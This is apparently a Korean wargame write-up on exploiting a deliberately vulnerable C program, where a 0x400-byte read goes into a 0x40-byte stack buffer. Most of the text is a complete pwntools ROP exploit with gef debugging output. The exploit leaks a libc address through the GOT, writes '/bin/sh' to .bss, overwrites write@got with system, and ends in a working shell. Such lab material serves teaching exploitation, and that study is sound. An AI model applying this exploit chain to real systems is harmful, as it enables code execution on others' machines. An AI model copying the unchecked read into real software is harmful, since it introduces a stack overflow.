#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
❯ checksec rop
[*] '/root/wargame/ROP/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
from pwn import *
def slog(symbol, addr):
return success(symbol + ": " + hex(addr))
#context.log_level = 'debug'
p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
r = ROP(e)
read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
bss = e.bss()
read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
ret = r.find_gadget(['ret'])[0]
payload:bytes = b'A' * 72
# write(1, read@got, 8)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt)
# read(0, bss, 8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss) + p64(8)
payload += p64(read_plt)
# read(0, write@got, 8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(write_got) + p64(8)
payload += p64(read_plt)
# write("/bin/sh") -> system("/bin/sh")
payload += p64(ret)
payload += p64(pop_rdi) + p64(bss)
payload += p64(write_plt)
pause()
p.send(payload)
p.recvuntil(b'A' * 64)
read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
slog("read", read)
slog("libc base", lb)
slog("system", system)
pause()
p.send(b"/bin/sh\x00")
pause()
p.send(p64(system))
p.recv(64)
p.interactive()
❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)
페이로드 전송 전에 pause()
로 잠시 멈춥니다.
gef➤ attach 1970
Attaching to process 1970
디버거를 열고 PID
를 attach
합니다.
0x000000000040081a <+139>: ret
End of assembler dump.
gef➤ b * main+139
Breakpoint 1 at 0x40081a
gef➤ c
Continuing.
ret
에 break point를 걸고 continue
를 합니다.
❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)
엔터키를 쳐서 페이로드를 전송합니다.
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40080f <main+128> call 0x4005d0 <write@plt>
0x400814 <main+133> mov eax, 0x0
0x400819 <main+138> leave
→ 0x40081a <main+139> ret
↳ 0x400883 <__libc_csu_init+99> pop rdi
0x400884 <__libc_csu_init+100> ret
0x400885 nop
0x400886 nop WORD PTR cs:[rax+rax*1+0x0]
0x400890 <__libc_csu_fini+0> repz ret
0x400892 add BYTE PTR [rax], al
디버거를 보면 페이로드 전송되어 pop rdi
로 ROP를 시작합니다.
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4005c0 <puts@plt+0> jmp QWORD PTR [rip+0x200a52] # 0x601018
0x4005c6 <puts@plt+6> push 0x0
0x4005cb <puts@plt+11> jmp 0x4005b0
→ 0x4005d0 <write@plt+0> jmp QWORD PTR [rip+0x200a4a] # 0x601020
0x4005d6 <write@plt+6> push 0x1
0x4005db <write@plt+11> jmp 0x4005b0
0x4005e0 <alarm@plt+0> jmp QWORD PTR [rip+0x200a42] # 0x601028
0x4005e6 <alarm@plt+6> push 0x2
0x4005eb <alarm@plt+11> jmp 0x4005b0
ni
를 여러번 입력하면 pop rdi; ret
, pop rsi; pop r15; ret
가 실행된 이후 write
함수가 실행됩니다.
gef➤ finish
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
→ 0x400883 <__libc_csu_init+99> pop rdi
0x400884 <__libc_csu_init+100> ret
0x400885 nop
0x400886 nop WORD PTR cs:[rax+rax*1+0x0]
0x400890 <__libc_csu_fini+0> repz ret
0x400892 add BYTE PTR [rax], al
finish
함수를 통해 write
함수를 실행시키면 write(1, read@got, 8)
이 실행되어 read
함수 주소가 릭됩니다.
❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)
[+] read: 0x7fbc1b8c2020
[+] libc base: 0x7fbc1b7b2000
[+] system: 0x7fbc1b801420
[*] Paused (press any to continue)
[*] Paused (press any to continue)
릭된 read
함수 주소와 다른 주소들이 맞는지 확인해보면
gef➤ print read
$1 = {ssize_t (int, void *, size_t)} 0x7fbc1b8c2020 <__GI___libc_read>
gef➤ print system
$2 = {int (const char *)} 0x7fbc1b801420 <__libc_system>
올바른 값이 릭 됬습니다.
이제 bss
영역에 "/bin/sh"
가 제대로 써졌는지 확인을 해보겠습니다.
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4005e0 <alarm@plt+0> jmp QWORD PTR [rip+0x200a42] # 0x601028
0x4005e6 <alarm@plt+6> push 0x2
0x4005eb <alarm@plt+11> jmp 0x4005b0
→ 0x4005f0 <read@plt+0> jmp QWORD PTR [rip+0x200a3a] # 0x601030
0x4005f6 <read@plt+6> push 0x3
0x4005fb <read@plt+11> jmp 0x4005b0
0x400600 <signal@plt+0> jmp QWORD PTR [rip+0x200a32] # 0x601038
0x400606 <signal@plt+6> push 0x4
0x40060b <signal@plt+11> jmp 0x4005b0
read
함수가 나올 때 까지 ni
를 입력하고 finish
명령어를 입력한 후
❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)
[+] read: 0x7fbc1b8c2020
[+] libc base: 0x7fbc1b7b2000
[+] system: 0x7fbc1b801420
[*] Paused (press any to continue)
[*] Paused (press any to continue)
엔터를 치고 디버깅 창에서 bss
영역을 봐보면
gef➤ elf
[24] .bss SHT_NOBITS 0x601060 0x1060 0x20 0x0 UNKNOWN_FLAG 0x0 0x0 0x10
gef➤ x/s 0x601060
0x601060 <stdout@@GLIBC_2.2.5>: "/bin/sh"
"/bin/sh"
가 잘 저장되었습니다.
똑같은 방식으로 read(0, write@got, 8)
이 실행되게 하고
❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)
[+] read: 0x7fbc1b8c2020
[+] libc base: 0x7fbc1b7b2000
[+] system: 0x7fbc1b801420
[*] Paused (press any to continue)
[*] Paused (press any to continue)
엔터를 친후 디버깅 창을 확인해보면
gef➤ got
GOT protection: Partial RelRO | GOT functions: 7
[0x601018] puts@GLIBC_2.2.5 → 0x4005c6
[0x601020] write@GLIBC_2.2.5 → 0x7fbc1b801420
[0x601028] alarm@GLIBC_2.2.5 → 0x7fbc1b0a736c
[0x601030] read@GLIBC_2.2.5 → 0x7fbc1b8c2020
[0x601038] signal@GLIBC_2.2.5 → 0x7fbc1b7f0d90
[0x601040] setvbuf@GLIBC_2.2.5 → 0x7fbc1b8332a0
[0x601048] exit@GLIBC_2.2.5 → 0x400626
gef➤ print system
$4 = {int (const char *)} 0x7fbc1b801420 <__libc_system>
write@got
가 system
함수의 주소로 GOT Overwrite
되었습니다.
그래서 최종적으로 익스플로잇 코드를 다 실행시키면
❯ /usr/bin/python3 /root/wargame/ROP/exploit2.py
[+] Starting local process './rop': pid 1970
[*] '/root/wargame/ROP/rop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './rop'
[*] Paused (press any to continue)
[+] read: 0x7fbc1b8c2020
[+] libc base: 0x7fbc1b7b2000
[+] system: 0x7fbc1b801420
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ ls
exploit.py exploit2.py rop rop.c
쉘이 뜨는것을 확인할 수 있습니다.